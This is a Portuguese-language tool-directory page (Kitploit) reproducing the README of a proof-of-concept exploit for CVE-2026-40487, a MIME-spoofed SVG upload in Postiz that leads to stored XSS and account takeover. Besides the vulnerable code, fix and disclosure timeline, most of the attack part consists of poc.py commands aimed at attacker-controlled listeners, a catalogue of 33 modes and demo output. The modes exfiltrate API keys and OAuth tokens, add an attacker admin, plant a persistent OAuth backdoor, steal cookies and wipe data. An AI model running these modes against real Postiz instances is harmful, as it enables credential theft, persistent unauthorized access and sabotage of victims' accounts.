Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-40487 — Prova de conceito de exploit para CVE-2026-40487, demonstrando upload arbitrário de arquivos via falsificação de MIME que leva a XSS armazenado e tomada de conta no Postiz. Inclui múltiplos modos de ataque para exfiltração de dados, escalonamento de privilégios e persistência. | Kitploit
Ferramentas/GitHubGitHub/astaruf/cve-2026-40487
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubastaruf/cve-2026-40487

CVE-2026-40487

Prova de conceito de exploit para CVE-2026-40487, demonstrando upload arbitrário de arquivos via falsificação de MIME que leva a XSS armazenado e tomada de conta no Postiz. Inclui múltiplos modos de ataque para exfiltração de dados, escalonamento de privilégios e persistência.

Ver Repositório
3há 4 mesesAinda não revisado
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-40487 - Postiz <= 2.21.5 - Upload Arbitrário de Arquivo via Spoofing de MIME-Type para XSS Armazenado e Assunção de Conta

Descoberto e reportado por: Astaruf

Análise completa: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487

Entrada GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487


Resumo

O Postiz é uma ferramenta open-source de gerenciamento de mídias sociais com mais de 28 integrações de plataformas (Instagram, X, LinkedIn, Facebook, TikTok, etc.), utilizada por mais de 600 instâncias expostas na internet.

Um atacante com privilégios baixos pode enviar um arquivo SVG (ou HTML) malicioso com um cabeçalho Content-Type: image/png falsificado. O servidor aceita o arquivo sem inspecionar seu conteúdo real, preserva a extensão original, e o nginx o serve com o Content-Type derivado dessa extensão (image/svg+xml). Quando uma vítima abre a URL, o JavaScript embutido é executado na origem da aplicação, dando ao atacante capacidades completas de sequestro de sessão, equivalentes à assunção de conta.

A cadeia de ataque:

root@kitploit:~
Atacante envia .svg com Content-Type: image/png
  -> Servidor valida apenas o cabeçalho Content-Type (CWE-345)
    -> Arquivo salvo em disco com a extensão .svg original (CWE-434)
      -> nginx o serve como image/svg+xml
        -> Navegador executa o JavaScript embutido (CWE-79)
          -> Mesma origem: acesso total à sessão da vítima

Impacto

O payload de XSS é executado na mesma origem da aplicação. Mesmo que o cookie de autenticação seja HttpOnly, o fetch() com credentials: "include" o anexa automaticamente. O atacante pode:

  • Exfiltrar o perfil da vítima, chaves de API, tokens OAuth de todas as contas sociais conectadas
  • Ler, criar, modificar e excluir postagens agendadas em todas as plataformas
  • Convidar o atacante como administrador na organização da vítima
  • Criar um backdoor OAuth persistente (token pos_* que nunca expira e sobrevive a alterações de senha)
  • Desativar notificações, apagar configurações, forçar logout
  • Executar chamadas de API autenticadas arbitrárias como a vítima

Detalhes da Vulnerabilidade

Três componentes falham de forma independente, criando a cadeia de exploração:

1. Validação de MIME-Type Confia na Entrada do Cliente (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:

root@kitploit:~
const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype vem do cabeçalho Content-Type na requisição multipart, que o atacante controla. Não há inspeção de magic bytes, nem uso de bibliotecas como file-type.

2. Extensão Original Preservada em Disco (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts:

root@kitploit:~
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname) extrai a extensão do nome de arquivo fornecido pelo cliente. Não há verificação de consistência entre o tipo MIME declarado e a extensão. O servidor também retorna a URL pública completa na resposta, então o atacante obtém o link para enviar à vítima.

3. nginx Serve com Content-Type Derivado da Extensão

root@kitploit:~
http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

O nginx mapeia .svg para image/svg+xml, .html para text/html. Não há Content-Security-Policy, nem X-Content-Type-Options: nosniff, nem Content-Disposition: attachment.

Prova de Conceito

Requisitos

root@kitploit:~
Python 3.8+
pip install requests

Início Rápido

root@kitploit:~
# 1. Verifique se o alvo é vulnerável
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. Exfiltre tudo da vítima
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. Crie um backdoor persistente
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Reutilize o token sem credenciais
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Fluxo do Ataque

root@kitploit:~
Atacante                    Servidor Postiz              Vítima
    |                              |                        |
    |-- 1. Login/Registro -------->|                        |
    |-- 2. Upload SVG malicioso -->|                        |
    |<---- URL do arquivo ---------|                        |
    |-- 3. Envia URL à vítima --------------------------->  |
    |                              |<--- 4. Abre a URL ----- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS executa, exfiltra dados ---------|

Todos os Modos de Ataque (33)

Exfiltração (19 modos) - roubar dados da vítima
ModoDescrição
dump-selfPerfil da vítima, informações da org, nível, chave de API
dump-personalNome de exibição, bio, foto de perfil
dump-integrationsIntegrações de mídias sociais conectadas e tokens
dump-postsPostagens agendadas e rascunhos (últimos 365 dias)
dump-teamMembros da equipe, funções e endereços de e-mail
dump-mediaListagem da biblioteca de mídia
dump-notificationsHistórico de notificações
dump-signaturesAssinaturas de postagens
dump-webhooksWebhooks configurados e suas URLs
dump-oauth-appCredenciais do app OAuth (clientId, secret)
dump-copilotConversas do copiloto de IA
dump-billingInformações de cobrança e assinatura
dump-settingsConfigurações de shortlink e notificações
dump-third-partyConfigurações de integrações de terceiros
dump-autopostRegras de autopostagem
dump-setsConjuntos de conteúdo
dump-tagsTags de postagens
dump-customersLista de clientes
full-dumpTudo acima em um único payload
Escalação de Privilégio (3 modos)
ModoDescrição
add-adminConvidar atacante como ADMIN na org da vítima (--attacker-email)
rotate-keyRotacionar chave de API da org e exfiltrá-la
rotate-oauthRotacionar secret do app OAuth e exfiltrá-lo
Sabotagem (9 modos) - ações destrutivas
ModoDescrição
kill-notificationsDesativar todas as notificações por e-mail
edit-profileModificar nome e bio da vítima (--edit-name, --edit-bio)
wipe-signaturesExcluir todas as assinaturas de postagens
wipe-webhooksExcluir todos os webhooks
wipe-tagsExcluir todas as tags
wipe-setsExcluir todos os conjuntos de conteúdo
wipe-autopostExcluir todas as regras de autopostagem
logout-victimForçar logout da vítima
delete-oauth-appExcluir o aplicativo OAuth da vítima
Backdoor (2 modos) - acesso persistente
ModoDescrição
create-oauth-appCriar app OAuth, aprovação automática, exfiltrar token pos_* persistente (--oauth-redirect)
steal-cookieRoubar JWT de autenticação via document.cookie (quando NOT_SECURED=true)
Genérico (2 modos) - avançado
ModoDescrição
api-callChamada de API autenticada arbitrária (--api-method, --api-path, --api-body)
customExecutar JavaScript arbitrário (--custom-js)

Opções Adicionais

OpçãoDescrição
--checkVerificar se o alvo é vulnerável (sem executar ataque)
--registerRegistrar nova conta antes do login
-t / --tokenUsar chave de API ou token pos_* em vez de credenciais
--format htmlUsar payload HTML em vez de SVG
--proxyRoteiar tráfego por proxy HTTP/SOCKS (ex.: Burp Suite)
-o / --outputSalvar dados roubados em arquivo JSON

Demonstração

root@kitploit:~
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — XSS Armazenado via Upload de Arquivo com MIME Falsificado

[*] Fazendo login como [email protected] ...
[+] Autenticado.
[*] Gerando payload: Exfiltrar tudo em um único payload
[*] Enviando .svg malicioso com Content-Type: image/png ...
[+] Upload bem-sucedido.
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Iniciando listener de exfiltração em 0.0.0.0:8888 ...

=================================================================
  Envie esta URL para a vítima:

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] Aguardando a vítima abrir o link ...

[+] Dados recebidos @ 2026-04-15 03:45:41
    tag: victim-profile
    data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] Dados recebidos @ 2026-04-15 03:45:41
    tag: integrations
    data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] Dados recebidos @ 2026-04-15 03:45:42
    tag: team-members
    data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...

Correção

A versão 2.21.6 introduziu três mudanças:

  1. Validação de magic bytes usando a biblioteca file-type para inspecionar o conteúdo real do arquivo
  2. Lista de permissões explícita de MIME types (sem mais o coringa image/*)
  3. Substituição da extensão com base no tipo de conteúdo detectado

Linha do Tempo

DataEvento
2026-04-10Vulnerabilidade descoberta durante revisão de código-fonte
2026-04-10Reportada via GitHub Security Advisory (GHSA)
2026-04-10Desenvolvedores reconheceram e solicitaram esclarecimentos
2026-04-10Cenários de ataque detalhados e dados do Shodan fornecidos
2026-04-11Disputa de CVSS submetida com evidências
2026-04-13Correção lançada na v2.21.6
2026-04-14CVE-2026-40487 atribuído
2026-04-15Divulgação pública

Referências

  • Análise completa do Astaruf
  • CVE-2026-40487 - GHSA Security Advisory
  • CVE-2026-40487 - Entrada NVD
  • Postiz - Repositório Oficial
  • Postiz v2.21.6 - Lançamento da Correção
  • CWE-345: Verificação Insuficiente da Autenticidade dos Dados
  • CWE-434: Upload Irrestrito de Arquivo com Tipo Perigoso
  • CWE-79: Cross-Site Scripting Armazenado
  • OWASP - Upload Irrestrito de Arquivo

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. Use-a somente contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade por uso indevido.

Licença

MIT

Baixar ferramenta